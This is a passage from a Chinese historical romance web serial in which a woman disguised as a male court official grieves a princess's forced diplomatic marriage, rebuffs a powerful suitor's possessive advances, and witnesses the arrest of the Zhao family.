林疏影将自来到京城以来打听到的所有信息摆列在一块,揣测着皇帝的心思。
思索间,竟已经到了翰林院。
现在,就差了解这个“当事人”如何想的了。
只要两人相爱,这一切就不是什么问题,若是齐大学士依旧一派书生傲气,那她可就得再寻出路了。
做好了最坏的打算,林疏影深吸一口气,迈进大堂。
齐怜生不过二十五,年纪不大,却已经是翰林院大学士,若内阁仍旧闲置,那他就算是做到了头。
虽说翰林院已经不被看重,好一些的家族都不会让自家儿孙来这,所有才有了齐怜生的职位,但他的才学仍旧出众。
林疏影拜读过此人的几篇策论,不禁感叹这人宽阔的眼界和胸襟。
不光有如此好的才华,还能沉下心来待在翰林院继续充实自己,光凭这一点,她便自愧弗如。
不过,韬光养晦的日子就快结束了,不知道自己的这位前辈准备好了吗。
大夏又要变天了...
林疏影拨开门帘,看清了屋子,又没人?
她不着慌,一步一步地往里走,昨日也是这样,所说皇帝不重视,可也不
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能如此玩忽职守吧。
捕捉到了隐约藏于屏风之后的话语声,这次她没惊扰众人,鬼使神差地将耳朵贴近屏风,竟是偷听起来。
“齐学士,公主和亲一事到底是不是真的?”
“你傻吗,那告示都贴满京城了,皇上这次可要大办一场呢!”
林疏影听到这里,脸上的红润早就不见。
和亲?什么意思,好好的,和亲做什么,皇帝又在打什么主意?
她脑海里闪出一个念头。
难不成,这些日子,谢寅忙的事就是这个!?
她竟然现在才知晓。
林疏影恍惚间没稳住身形,撞了屏风一下,险些撞倒。
那躲在屏风后之人妄议此事,听见有人马上噤声。
围着齐怜生的人散开,但无人敢出来。
林疏影没想到这些人这么胆小,这两句话,就算皇上知晓了,最多罚些俸禄。
最后还是她绕过屏风,“诸位,我与齐大人有些事情要说,刚才是我不小心撞到了屏风,惊扰了几位,甚是惭愧。”
几人打着哈哈,面面相觑。
他们与这人接触不多,这人夺得状元之后就随军外出庆阳剿匪,可是在皇帝跟前出尽风头,如今又给唯一的永宁公主授课,颇得皇帝青睐,他们这些半年见不到皇帝的人对此人根本毫无威胁。
“那我们就先走了。”
不知是谁先开口,几人一前一后地出去忙自己的事务去了。
林疏影看着眼前的人,心里复杂,说不出来一句话。
还是齐怜生起身,离开了他那堆满经史子集的桌案,请林疏影移步另一个桌子。
他有些疑惑,翰林院没有权力,他虽为翰林院最高的管事,但也是有名无实,眼前这人找自己做什么。
“林大人请坐。”
他做出请的动作,而后顺势为林疏影沏茶,不算恭敬,但已经给足了林疏影面子。
林疏影看着送来的茶水。
她看着水里的倒影,却将倒影看成了那个明媚的小公主。
事已至此,皇命难违,何况这天下人都知道和亲一事,想必这个小姑娘也知道了。
她能做些什么呢。
她能做的不过都是徒劳罢了。
“齐大人,你何须跟我这么客气,按理来说,我应当为你沏茶。”
林疏影推辞一二,她并不想摆受皇帝重用的架子,也无意从这些人中找那种“高高在上”的感觉。
齐怜生才智不落林疏影,这么一句话他当下就明白了。
本来有些不耐烦的情绪,听了这句话后便烟消云散了,他也放松许多。
毕竟他可没心思与旁人勾心斗角。
“我此来,是想问大人,可曾见过永宁公主。”
林疏影盯着齐怜生的表情,不放过任何一个细节,她能为公主做的,只有这些了。
“这是...”
齐怜生没想到林疏影会问这些。
永宁公主他倒是真见过,休假时在街角碰上了,那时她伤了脚,他自小研习医术,救治自然不在话下,但他救治完就直接走了,也并未告知公主自己的真实身份。
近来林疏影做了公主的讲师,自然与公主亲近不少。
他摸不清林疏影的态度,只好含糊作答,“公主自小长在宫里,从未出去过,我哪有福分见上一面呢?”
林疏影听着他这般官方的回答,加上这人突然警觉起来,便觉察此话有假。
40. 第 40 章
林疏影几番询问,那人步步谨慎,咬死不认。
她轻轻抿了一口茶水,这人对自己防备甚重。
既然他不愿说,她也就不为难这人了。
林疏影放下茶盏,意欲起身。
却被齐怜生一把拦住,“林大人,这是公主需要了解的突厥的礼仪。”
他起身,将不远处桌案上几本不起眼的书拿来递给林疏影。
“皇上一直没有说公主学什么,林大人这段时间费心了,眼下,有了讲书,该轻松一些了。”
齐怜生见眼前之人盯着他手里的基本书,也没有动作,他只好尴尬笑两声,将书又往前递了一下。
“齐大人今年二十又五了吧,不知有无倾心之人。”
林疏影看着那书,五味杂陈,真是讽刺。
她抬眼,好生打量了一番这人。
无论哪里都透着端正儒雅,官服一丝不苟地穿着,面容清朗,眉眼柔和不少,难掩书卷气的长相倒也能让不少女子为他着迷。
但那么明媚开朗的小公主为什么就看上眼前这个人,除了那张脸,难不成还喜欢他的不解风趣?
一切都已经成结果,她再腹诽也无甚用处。
终究是小公主的一厢情愿,既然都到这一步了,那她还偏要问出齐怜生点什么来。
“林大人的话我倒是听不懂了。”
齐怜生皱眉,这个人今早来究竟是为了什么!
刚才一番追问,眼下,这又是连遮掩也不顾了,传闻中,他与谢总督有段故事。
难不成!
是...
不成,他都没见这人几面。
两人就这么僵持了好一会儿,直到林疏影意识到自己有些咄咄逼人了,忙道,“我有一个妹妹甚是倾慕大人,不知...”
林疏影自嘲地笑了两声,接过跟前的书,觉得手上的书本比她拿过的任何东西都要沉重。
她终究是要毁诺了。
“原来如此,原来如此,我倒是没什么心上人,不过整日里钻到这书里,有些古板,就不知令妹的意思了。”
齐怜生长舒一口气,幸好不是林疏影看上他。
这人的出身门第与他差不多,家里小妹定然与士家娇惯的贵女不同,既门当户对,也不妨见一见。
他一介孤儿,没有父母为他主张婚事,师父也介绍过几次,但他都不满意,他不喜欢娇蛮任性的,几次推拒,士族竟以为他不愿攀附,便不再想拉拢这傲气的书生。
不光如此,他自己也不上心,因而才推了这么久。
现在想想,林疏影真是提醒他了,家里有些冷清,他确实该找一个能相知相伴的人了。
“我定然知会自家妹妹,我还需讲书,先走了。”
林疏影终于呆不下去了,她忙起身行礼,匆匆行礼走了。
起码,问出了些有用的东西。
她抱着书本往文华殿走去,手上的力道不自觉就加重了。
直到殿前,她松开被“蹂躏”了一路的书。
看着被揉皱的书页,她思绪万千。
小公主已经都知道了吧,不过就是想瞒也瞒不住了。
昨日的承诺终究做不了数,那她还能做些什么。
如今她可算是知晓,为什么天下的人都渴望权力了。
她整理好混乱的思绪,一脚迈进大殿。
永宁起身,红着眼为夫子行礼,话音里难免哭腔,但仍一字一句说清楚了。
“夫子好。”
与昨日一样,依旧是一身素衣,未着脂粉,未戴珠钗。
但今日却变了许多,林疏影不忍心,忙叫起来行礼的永宁。
“今日,还讲《大学》可好?”
是了,她怎会不知,这世间女子的命运不掌握在自己手里,男人们说一句话,女孩就要嫁给一个素未谋面的丈夫,就要侍奉性情不知的丈夫,就要换一个院子待着相夫教子。
她尚且有给她自由的母亲,可从巴郡出来后,才真正了解了这世间女子的穷途末路。
如今她更是除了继续为公主讲授课业,其余的一概做不了。
永宁看见了夫子手里的书本,也知道那究竟是什么,她敬夫子给她讲解不一样的书本课业,但也明白夫子没得可选。
在她这里,对她好的,奉承她的人不少,但是真心待她的人却很少,夫子算一个。
就算夫子要给她讲突厥那蛮人的礼数,她也无任何怨言。
就像太后说的,永宁,你是我大夏唯一的公主,从小锦衣玉食,受万人供养,现在理应做出些牺牲,来护卫大夏百姓了。”
她是公主,所以她要承受这一切,她享受了别人一生都没有的荣华富贵,所以她来和亲,这一切都理所当然。
“好...”
永宁早就做好了准备,周围的丫鬟婆子没人不劝她,没人愿意停她的心声。
直到听到了林疏影的话,她猛然抬起头,眼尾的红晕未散,晕成一团,却是娇媚万分。
夫子虽为男子,却是这世间最懂得她的人。
公主和亲诸多事宜还未商定,毕竟是两国交好,阵仗或许会大些。
这样,她还有五六个月的时间为公主讲书,如今的进度,需要加快一些了。
林疏影拿起自己满是笔记的书本,心里滋味复杂难辨。
忙起来就好了,只要能让公主短时间内忘却这些痛苦就好了。
本来明媚娇嫩的花儿此时竟有些坚韧了。
林疏影讲书时不住地观察着公主的状态,把控着分寸。
永宁思绪不佳时,她便少说些,或者讲些北上的奇闻异事,永宁状态好一些时,她再多说一些。
就这样,渐渐到了晌午,窗外的阳光肆意闯入殿内。
春天就这么过去了。
“公主,先用午膳吧。”
林疏影放下书本,眉眼间有些疲倦,但仍旧扯出一个安慰的笑出来。
“夫子,一起吧,这次...我不会再捉弄你了。”
永宁嘻笑两声,未褪去红痕的眼弯作月牙。
“好。”
林疏影一愣,想起二人曾互相看不对眼,自己甚至也生出过与这个小公主斗一斗的心思,不禁好笑。
真是幼稚极了。
她看着永宁的背影,露出一个复杂的笑来。
若是女子有更大的自由,能出去看一看,也不必非要与男人争权,也是好的。
她心里还藏着一件事,也正好借这个机会告诉永宁了。
“夫子,不知你平日里吃什么,这都是我爱吃的一些饭食,先委屈夫子了。”
永宁已经稳定下情绪,口吻与平日里截然不同,早就没了蛮横,多了几分沉稳。
“好,永宁爱吃的,我也爱吃。”
林疏影看着眼前的公主,难免一阵心酸,这个小家伙竟然在她面前也要装一装大人了。
她咀嚼着饭食,心里琢磨着如何开口,还不时抬眼观察着永宁。
“永宁,我今早去了翰林院,见着了齐怜生。”
林疏影咽下一口饭道。
永宁夹菜的动作一顿,不过片刻,她便恢复如初,将菜夹到碗里。
随后抬眼,正视夫子。
“夫子昨日的承诺,我并未当真,我不想烦恼夫子。”
昨日她听闻了和亲突厥一事,又哭又闹,连晚膳也没吃,结果被太后和皇兄好一顿教导。
她曾愤愤不平,为何大夏的安定要她一个弱女子来维护,难不成大夏的男儿都是摆设吗!
迎来的只有太后狠狠的一巴掌。
她听见的只有二人连番说的——你是公主。
哪个朝代没有公主,哪个皇帝没有姐妹,偏生她就这么倒霉,要去将自己的一辈子浪费在北方的蛮荒之地,侍奉野蛮的不懂礼数的突厥人。
记载过的和亲的公主不少,可有几个命长的。
就因为她是公主,所以才不管她的心思,硬要她用命来护大夏安定!?
昨晚她在母妃曾经住的大殿外跪了一夜。
倒是想通了许多事,既然她是公主,那她便去。
不就是死么,不就是再也吃不着中原的美食么,不就是...
“永宁,我知道你的难处,齐怜生他现今...”
林疏影顿住了,她不曾被这样强迫过,那里能说出这句话来。
见永宁没有阻拦,她继续道,“他应是记得你的,记得曾经救过你,他心里也没有人。”
她不忍再说下去,这一切还有什么用,不过都是徒劳。
永宁一下子红了眼眶,眼泪聚集在眼眶里,在光线下映射出小公主求而不得的心事。
林疏影忙起身,与公主做在一块,她小心地用手抚着永宁的背。
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>细密的心事如泪水一半尽数流出,窗外的柳树在风中摇晃。
刚开始,忌惮毁坏礼数的永宁只敢小声抽泣,随着林疏影的安慰,倒是越来越放得开了。
她不再纠结许多,只是将自己的委屈都抛出来。
憋在心里的许多不愿都化作哭声,发泄出来。
最后,林疏影只得揽着怀里的人,她垂眼看着抽泣不已的人儿。
心里说不出来的难受。
林疏影借着最后的霞光,回了院落。
除去陈家旧案梗在心头,如今又多了一桩事。
她揉揉有些酸胀的太阳穴,进了院落,看见不远处一盏仍旧为她亮着的灯,心里宽松许多。
说不清的感觉将她包裹起来,一点一点地为她拂去一身的灰尘和烦心事。
林疏影略微有些疲惫地坐下,冲谢寅一笑。
昨日她那般失态,那样无礼,这人还愿等她。
谢寅看着眼前如何都遮掩不住的疲倦的人,心里一滞。
“怎的这样疲累,是公主骄纵了不成?”
“不是,永宁倒是成长不少,我从未见过今日这般懂事的公主。”
林疏影微垂眼眸,手里夹菜的动作慢了半分。
谢寅看着沉默寡言的人,摸不清这人究竟是怎么了。
平日里这人总要呛他两句,今日到底发生什么了。
他琢磨了整整一顿晚膳的时间,仍旧没想透。
本来他要回谢府的,但到底放不下这人,只好让长青代自己向父亲请罪了。
谢寅叩响了林疏影的房门,“你今日不开心?”
思索再三,笨拙地开口。
平日里都是他身边都是士族为拉拢他而送来的姑娘,再如何也犯不着他去哄。
因而,在哄姑娘开心这件事上,他一丝经验也没有。
林疏影与其他姑娘又不一样,哪里有姑娘习武,哪里有姑娘高中状元,哪里有姑娘深入贼窝全身而退的。
但这就是他欣赏的林疏影。
林疏影打开门,迎上愣神的谢寅,没言语,只是让开些来,让那人进来。
“谢大人所来何事?”
她本正在桌案前,正想着公主的课业如何安排,被这人打断了。
谢寅每次与她说得都是要紧事,这次来,应是陈家旧案了。
之前旧案搁置,应该是为了公主和亲一事。
“谁招惹你了,还是你的身份...”
谢寅实在想不出来这人会因为什么如此低沉,随口问道。
林疏影见这人竟是为了这个,不由得上下打量此人。
难不成,陈家旧案还没着落?
“谢大人倒不如与我说一说,为什么陈家旧案搁置了。”
谢寅皱眉,果然,这个女人脑子里除了陈家旧案就没有别的。
既如此,那还有什么不痛快的?
他刚询问过长煊,林疏影的行踪,除去早上去了翰林院,便没什么与平日里不同的。
实在摸不清这人的意思,他只好回答。
“突厥突然来犯,如今洪灾刚过,大夏哪里能应付,这几日,朝中大臣为战与不战吵翻了天。”
“你主和?”
“自然,大夏如今内乱不断,再没有余力应付突厥。”
谢寅猛然想起来,昨日他正要与这人说这些来着,结果被气得全忘了。
“可公主她...”
林疏影艰难开口,满肚子的疑问不知从哪里开始说了。
她也知晓公主和亲这番决定是顾全了大局,但没有别的法子了吗。
没了吗。
“公主受万人供养,虽我大夏还从未远嫁公主求和,但时局所迫。”
谢寅敏锐地捕捉到了林疏影的情绪。
算是终于弄明白了这人为什么会这般了。
虽然她与公主才相处了几日,倒是这样重感情之人。
但还是要顾全大局。
林疏影别开眼,看向窗外已经脱落得不剩多少花瓣的花。
所有的人都是这样想的,理所当然的,让锦衣玉食的公主去和亲吗。
“时辰不早了,大人早些回吧。”
谢寅皱眉,听着这话,心里不悦极了,这人依旧是不近人情。
有时候他真觉得,这人是偏偏看不见他的心意,旁人的感情可都捧在手心里。
41. 第 41 章
“你让我走我就走么。”
谢寅上前,一把抓住眼前人的手腕。
到底为何又要给他摆脸?
他所做的还不够么?
林疏影隐忍着痛楚,抬眼看着有些失控的人。
她的心有些痛,说不出来的痛。
“你走,你快出去!”
面对谢寅的强势,她下意识反抗。
无论她与谢寅是什么关系,无论她对谢寅是什么心思,她都接受不了这样的霸道。
谢寅的做法固然有他的道理,但是她也有坚守自己选择的权力不是吗。
她既然“顺从”了公主和亲,难不成还要她打心底地顾全大局委屈公主吗。
林疏影不喜欢被任何东西束缚,不管是高墙,还是此人的无理。
谢寅这次并未“听话”,他看着脸色憔悴的人儿。
心里一滞,又累着了,这些公务重复无聊,怎么会有人上赶着做呢?
为什么这个人整天要吵着出门,在这里躺着看话本不好么,清闲些不好么,非要把自己弄得提心吊胆,身心俱疲。
他倒是看不出来,这个人竟这么喜欢为人当牛做马。
“我不走,疏影,你还不明白我的心思吗?”
谢寅紧紧缚住林疏影,他不想再因为这人奇怪的心思而压抑自己的心了。
自小,他说什么做什么,哪一个不是顺着他的心思,怎的这个人,他已经做了这么多,仍旧不见这人的笑脸。
林疏影垂眼看着腰间的两只手,有些恍惚。
这个问题终究要面对了。
如此,回想与这人的往事,沧隅山不顾生死救下她,路途中各种关心,到了京城更是时时刻刻照顾她,为她提供许多京城内信息。
谢寅耳根微红,他从没对任何一个女子这样心动,也从从没对哪个贵女这样喜欢。
如今终于吐出了深埋在心底的心思。
不用再费劲遮掩自己为她所做的一切了。
手上的力道加重了几分,将林疏影尽数揽进怀里,他将比肩靠在这人的肩上。
感受着此人的气息。
“大人,你说这些到底是为了什么。”
林疏影压抑住心里雀跃的苗头。
她幻想过自己的如意郎君,风神俊朗,一表人才,有担当,不如父亲那样懦弱。
会尊重她的心思,会给她自由,不会将她困在高墙之内...
谢寅听闻这句话,闭上的眼猛然睁开。
手上的力道松了许多,这是什么意思?
未等他说话,林疏影开口道,“我知大人对我好,给了我许多东西,疏影对大人的荫蔽感激不尽,愿意结草衔环。但您当如何待我?”
难不成这人要装一辈子断袖,为她不娶不成?
谢家何等家族,谢寅此时早就到了该婚配的年纪。
京城的贵女哪一个都比林疏影能稳固谢家地位,能助力谢寅更进一步。
哪里就轮得到她这个顶替着男子身份的人。
“我...”
谢寅一下子愣住了,一时间他不知道该如何说。
“我的身份随时都会连累大人,大人还是放我回之前的院落吧。”
林疏影垂眼,她同样感受到了身后之人身上的气息。
不知道这人是何时倾心她的,没关系,她依旧很开心。
这次,她总算不能再逃避了,二人之间的关系也该结束了。
她终究配不上这位公子哥,也不能连累了他和谢府。
“你要跟我划清界限?”
谢寅正想着如何给林疏影一个名分,没由来被林疏影的话棒打一头。
这人嘴上说愿意为他结草衔环,但实际动作却是将他越推越远。
“现在才划清界限,你不觉得晚了吗。”
谢寅满脑子就剩下这人的疏离,顾不得什么,一下子将松开的手再次紧紧抱住那人。
他看上的人,没有放手的理。
“你不爱我,我会让你爱上我,这些话我不想再听见了。”
谢寅低头埋在林疏影颈间,肆意索取。
林疏影几番挣扎,终究是徒劳,这个人真是倔,一时的心悦抵得过父母之命吗!?
公主那般高贵,都要远嫁寻求大夏的和平,而谢寅呢?
谢寅的妻子定然也是名门士族。
她也不想给这人做妾,不喜欢勾心斗角,不喜欢永远被束缚在高墙之中。
这些且放在一边,二人如何相守!?
他哪里能不顾谢府安慰,与她这个明面上的男人厮混呢。
这些日子,京城里恐怕传遍了,新科状元郎与这纨绔子弟...
“大人,你可问过我想要什么?”
“你想要什么,你说我一定给你。”
谢寅似抓住救命稻草一般,忙回到。
“我想要自由,我不想被束缚,不想被大人抱着。”
林疏影感受到了少年的霸道、任性,她得更明确地拒绝了。
“本总督没给足你自由吗,啊!?”
“带着伤去给公主讲学,亲自把牵扯陈家旧案的人给你找来任你审问,费劲心思把你带入到这陈家旧案里,哪一样不是全了你查案的心思,哪一样不是为了解开你的心结。”
谢寅近乎吼出这些话话来,他没想到,这人最想要的就是他放她自由。
林疏影竟不喜他到这般地步!
“我说过,谢大人的恩情我感激不尽,我也当竭尽全力报答,大人莫要强求...”
她隐忍着心痛,表现出决绝的态度。
唯有这样,才能将少年远远地推开,才能在自己身份暴露时保全他。
“都是我一厢情愿,都是我一厢情愿?”
谢寅的话响在林疏影耳边,同样刺痛了她的心。
一滴泪在眼眶里打转许久,终于落下来,林疏影忙擦下去。
她用力掰开那人的手,但眼泪似乎控制不住了,随着她的动作纷纷落下。
如果没有这许多限制的话,如果没有这些旧案,如果她是女儿身,是不是这一切都会不一样。
她不敢再去想。
“我以后少来这里,你安心住在这里,长煊依旧听你调遣。”
谢寅终于松开了禁锢住怀里人的手。
明明自己这么喜欢她,但是现在在她身边一点也不开心。
这个人怎的不再呛他两句,让他再吃一次瘪呢?
偏要说这些伤人的话。
良久,林疏影守着桌案,怔愣地看着沾染了泪痕的书本。
她似乎没有选择。
那日之后,谢寅确实很少再来,就算是来了,不过歇息片刻,又就离开了。
礼部一直在筹划公主和亲一事,忙成一团。
林疏影猜想谢寅定然是被父亲抓去帮忙了。
不过这样也好。
父亲也为她找来了陈太守的随从,人证物证俱全,赵家无可逃逸。
这一切总算要结束了。
林疏影望着雨过之后的天空,澄净极了。
她收回目光,看着不远处公主把玩着尚且布满水滴的花儿,流露出会心的笑。
猛然间,一个念头出现在她脑海中——她答应了将自家妹妹介绍给齐大人。
“永宁,你过来一下。”
林疏影想出来一个大胆的想法,她冲永宁招手。
李月明这些日子也看开了许多,反正她这些年在皇宫里也待得腻烦了,倒不如远嫁,还能看看一路的风景。
若是她那野蛮的驸马待她不好,她便一头撞死,也算是一种解脱。
下辈子,她只想投胎到一户好人家,衣食无忧便可。
“夫子,这花多娇嫩,送给你。”
永宁将花捧到林疏影跟前,开怀地笑着,如花一般娇美。
林疏影接过花,看着花瓣上的纹路愣神片刻,“这花确实不错,在下就收下了公主的一片心意,只是有一件事想与公主商议。”
“夫子除了课业之事还会与我说别的?”
永宁玩笑道。
林疏影看着恢复了往日活力的小公主,心底里高兴,一五一十地将那日与齐怜生见面所说的话都讲出来。
“所以,你愿不愿意再见他一面?”
“不见。”
永宁双手环抱,她站在台阶之下,仰头看着林疏影道。
她可是尊贵的公主,既然这人不愿,她怎好强求?
就算见面了,又当说些什么?
难不成还要让那人知晓她单相思么。
“为何?”
林疏影想起前些日子,哭哭啼啼的小公主,心下生出许多疑惑来。
“既然已经这样了,我又何必再见他,况且他不是说没见过我吗,我又何必讨人家嫌?”
“这次一别,恐怕...”
“夫子,你居然为我担心这些,他心里没我,见与不见都是这个结果,我又不是非他不可。”
林疏影看着脸上笑意不减的人儿,心里的些许愧疚不见了。
放下了就好,总比憋在心里,隔着千里想一辈子好。
礼部紧赶慢赶,终于如期将公主和亲一事处理妥当。
于是,良辰吉日,公主身着嫁衣,珠钗亮得人扎眼。
“母后,永
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宁就要走了,不能再侍奉左右,只求母后能保重凤体。”
永宁拖着一身礼服上前行礼,脸上淡然礼行得不情不愿。
她再也不用“应付”这个老太婆了。
当年,这人因她的生母出身卑微,百般看不上,到现在为了稳住大夏的北部边境,可是将她奉做掌上明珠了几个月。
“好孩子快起来,母后知道你的委屈,但当以大局为重,你为你皇兄分了忧,是我大夏的恩人。”
太后冯氏忙上前将公主拉起来,永宁走了之后,宫里再没有什么不干不净的东西了。
就是皇帝的妃嫔怎的都没动静?
如今,魏丰华来历不明,皇帝却偏用他。
皇儿的翅膀硬了,要抛弃她这个母妃往高处飞了。
冯氏撇过眼,看着坐在一旁的皇帝,意味不明。
永宁故意别开了冯氏,起身冲皇帝行礼,“皇兄,此去,我兄妹二人恐再难相见,只求皇兄让我见一人。”
李月明对上自己的这位皇兄,再无任何胆怯。
这人为了大业什么都可以舍弃,她也早就不奢望此人顾念二人兄妹之情了。
“今日你出嫁,皇兄可是将库里好看的金银首饰都为你备做了嫁妆,还有什么要求但说无妨。”
李昭朔大手一挥。
原来的大夏是太后与士族的天下。
他十五岁上台,一步步摆脱太后的控制,削弱太后的势力,甚至将太监全换下来,就是为了自己能更好地掌握住权力。
如今,他已二十岁,初露锋芒,便先拿赵家开刀,以儆效尤,震慑其他士族。
只待永宁为他安抚好北方蛮夷,士族便不再能掣肘左右他的抉择,大夏中兴便指日可待。
他皱着眉看着跟前的永宁,这时候了,可不能出任何岔子。
“永宁只求能与夫子好好道别。”
皇帝听闻,心下松了一口气,“好说,好说,快请林大人来。”
永宁看着这一屋子满满的人,无论是皇兄的妃嫔还是太后的丫鬟,没有一个真心待她的。
她再这宫里生活了十几年,与这些人仍旧生分极了,这里只有冷冰冰的利益,只有隔着人心的高墙。
太监通传的声音打破了永宁的思绪,她也收回目光,转过身去。
将那些表面和气的人全都背到身后,“夫子。”
本已经有些麻木的心还是动摇了,她不想离开,不想牺牲自己的幸福。
但从头到尾,没有一个人愿意听她的声音,除了与她相处不过半年的夫子,这个外人懂得她。
“公主,这是我的一点心意,还望收下,无聊时可翻看一二,好给你解闷。”
林疏影呈上一个包袱,将里面的东西严严实实地包裹起来。
她整理了一夜,方才准备好,还以为没有机会送出手了。
“劳烦夫子费心。”
永宁捧着包袱,抽泣两声,落下泪来。
林疏影满眼心疼,她多想现在摸一下小公主的头。
可她头上珠钗遍布,再难下手,周围人这么多,她是男儿身也多有不便。
随后,目光游离到公主身后,看着一大屋子面面相觑的嫔妃,难免好笑。
身后的太后则端起茶盏若无其事地喝茶水,似乎这一切都是假的,似乎被送去远嫁的不是公主,而是某个不知名的小宫女。
皇帝咳嗽两声,权当缓解尴尬了。
总要做这些面子,一大早起来,就是为了送公主入虎口。
她轻叹一声,收回目光。
给永宁一个眼神,便越过她,给皇帝行礼。
拜别皇帝、太后,上了轿辇。
林疏影望着长长的送亲队伍,满是不舍。
刚才,公主在她耳边的低语还再不停地回荡——后宫之人都要喝莫名其妙的汤药,后宫妃嫔均无子嗣,这其间恐有端倪。
子嗣一事涉及得太多,林疏影摸不清背后是谁在设局,但不是小事。
大夏若想中兴,皇帝没有子嗣是一大阻碍。
眼下,为了成功除去赵家,公主已远赴突厥,她不能让公主白白牺牲了自己的一生。
看来,这一切还没有结束。
母亲曾问过她,读书之后想做什么。
现在,她仍可以将当时的回答再重述一遍——为了大夏的百姓安居乐业。
她看向身旁的齐大人,之间那人眼神复杂,对着轿子的方向行礼。
“齐大人这是...”
“公主为大夏安慰远赴突厥,当受此礼。”
林疏影眼中泪水再也受不住,全落下来,“齐大人有此心,公主很高兴。”
42. 第 42 章
“明日,你与我一起去抄了赵家。”
谢寅站在一边,睨着正用膳的人。
这些日子没同她一起吃饭解闷,过得也挺好...
他往日的关心倒是多余了。
思及此,他看着细嚼慢咽,不紧不慢的林疏影,冷哼一声。
京城里有谁敢这么忽略他,林疏影倒是第一个。
林疏影闻言,咀嚼嘴里的饭食,咽下后放下碗筷,抬眼看向来人。
“陈家旧案已经了结了?”
皇帝终于是耐不住了,刚送完公主,就要杀赵家一个措手不及。
这样也好,赵家为隐瞒当时真相,赵怀庆连亲生女儿都毒害了。
如此虎狼,终究是祸害。
“你以为,我放走陈述是为何?”
谢寅干脆拉来凳子坐下,省的那人将头仰得酸了。
他语气有几分不明的意味,眼前这人如此聪慧,怎么猜不出他们的计划。
“我还以为,您与陈述是统一战线呢。”
林疏影琢磨着谢寅的话,这人向来喜欢掌控时局,表面的纨绔只是遮掩。
她刻意打着哑谜,背后的局太大,不能冒险卷入。
总要将一切摸得差不多了,有把握了再说。
她终归是才踏入朝堂,若想站稳脚跟,还要慢慢来的好。
“林参谋当真了解我。”
谢寅刻意加强了“了解”二字的读音,像是小孩子赌气一般。
一个土匪的话,他从来没信过,只要陈述回了巴郡,他就有理由派人去巴郡暗查二十年前陈家旧案,替眼前这个白眼狼早日找回真相。
“既然陈家旧案已快结案,我那日说的话,谢大人可还记得?”
林疏影早就收拾好了自己的东西,做好了随时搬出府邸的准备。
只要谢寅答应,她立刻就走。
城南小院曾经被她认为是暂寄居之所,没想到,等查清楚所有真相之后,竟然是她唯一的退路了。
没有母亲的巴郡她不想再回去,也不想再面对懦弱的父亲,就算是回去了,不过是迎接嫁作人妇的命运,再不能这样自由。
虽说在京城心惊胆战,小心谨慎着身份不被发现,终归是顶着男儿身,就算不娶妻,也鲜少有人指指点点,总也快活自由一些。
这几个月来,林疏影早就想好了自己的后路。
既然公主信任她,将后宫之事告诉她,那她也不能亏待了这份信任,自然要查清楚的。
若身份被发现,做了这些事,总归为百姓安宁出了一分力,她也不虚此生。
谢寅蹭得一下从凳子上站起来,这个人当真是利用完他就要跑。
看着林疏影一副要死不活的样子,莫名的火气直窜上心头。
不爱,他有的是办法让她爱上。
既然她喜欢自己的权势,那他就把这些紧紧攥在手里,等那人来求他。
若是这人报完仇想跑,那他就关这人一辈子,让她一辈子都与自己在一起。
“不记得,你的话我从未放在心上。”
放下这么一句话,他便甩袖而出,再没回头。
林疏影怔愣得看着远去的背影,将少年的心意这般践踏,该恨她了。
但她心里又能好受到哪去呢。
这京城她最对不起的就是这么个人了,也没理由再让他陪自己一起心惊胆战。
次日一早,林疏影收拾好,用完早膳,先去了翰林院告假,将原先的“乌龙”与齐大人说清楚。
算是帮自己的“妹妹”婉拒了他。
而后便赶往赵府。
人证物证俱在,赵家再没翻身的机会了。
谢寅带着禁军包围了赵家,将赵家所有的家眷都压到院子里。
“刑部尚书赵怀庆于二十年前竟公然挪用巴郡粮草,居心叵测,意图谋反,事情败露竟嫁祸陈家、魏家,致使两家家破人亡,你可知罪?”
谢寅的话语冰冷极了。
林疏影匆匆赶来,正遇见这么一幕,她看着那人的背影,和一个院子的人。
赵怀庆往日的荣光早已不在,此时他正匍匐在地上,恳请放过赵家后人,但没有回应。
女眷们的哭声此起彼伏,这一幕与冯家被抄家时应该差不多。
谢寅回头,两人视线正撞在一块。
侍卫本想拦住这人,却被总督一记冷眼瞪回去,也没敢再动作。
林疏影跨过门槛,她死死盯着跪在地上的白发老者。
她不明白,为什么这个人会那样冷血,却又有一点可怜,毒害自己的女儿后,却又想着保全赵家后代。
既知晓今日的下场,二十年前的野心蓬勃岂不是自作孽。
因着一时的权力熏心,就断送了一家子的性命。
而为了掩盖当年的真相,亲手毒死自己的女儿,是为了掩盖真相,用一条人命保全一家子的性命。
赵怀庆真是好算计,舍小为大。
但真相浮出水面,他还能保住谁呢?
不过是白白断送了她母亲一条命而已。
林疏影想起自己的母亲,总把最好的都给她,总是满足她“过分”的要求,总是宠着她爱着她。
她曾将母亲视作自己的靠山,自己的倚仗,但就因为心狠手辣的赵怀庆,这一切都...都不复存在了。
而她也因复仇,走上了一条不归路。
即便是遇到自己心悦之人也要遮遮掩掩,一再隐匿心底的爱意,即便是将陈家旧案查清楚,她也再没了母亲的宠爱。
不知是恨还是无奈,她竟说不出一句话来。
但是,就算是说出来了,向这么个表里不一的恶人又能讨回什么呢?
此时,一直跪在地上愤愤不平的赵明池倒是看着来人,竟像是找到了恩人一般。
“林状元,我知你性情孤傲,虽不愿与我士族为盟,但终究是追求公理的,光天化日之下,这纨绔拿着二十年前的旧案,捏造假证,只为铲除我族,扩展自家势力啊,求您为我们这一家子做主。”
林疏影看着说话的人,那眉眼随了赵怀庆,她一下子就认出来此人是她亲娘的哥哥,赵明池。
这个名字真是与他这个人背道而驰,明池若是清透的池水,那他此人就是被蒙上眼装傻的愣子。
到了这时候还要狡辩。
“哦?你去求林大人,莫不是要把林大人也拉下水?”
谢寅勾起嘴角,看着眼前的一幕,他最喜欢看这等好戏了。
他撇过头,看向林疏影,他可是给了这人机会了,能不能把这戏演好就是她的事了。
谢寅的话倒是提醒了她,一年前,她揣着仇恨北上科举,一路百姓因洪水而受困受饿,而京城士族还在用富贵迷住自己的眼睛。
经历了那么多,为着得到皇帝青睐不惜闯入匪窝,只身饲虎,为了掩盖自己的身份整日提心吊胆,不就是为了现在真相大白、罪人伏诛这一刻吗。
现在她就想要一个答案。
为什么要杀了赵明心,她的母亲。
林疏影行礼,谢寅能给她这个机会,她自是感激不尽,不然哪里能知晓母亲曾经与这些狼心狗肺的东西生活在一起。
“赵大人,不如你问问你的父亲,他二十年前和一年前都做了什么吧。”
她看着两眼气得腥红的赵明池,想不明白这人是真笨还是装的。
赵家不能出了这么个蠢笨的人。
赵怀庆闻言,抬头看着林疏影的模样愣住了。
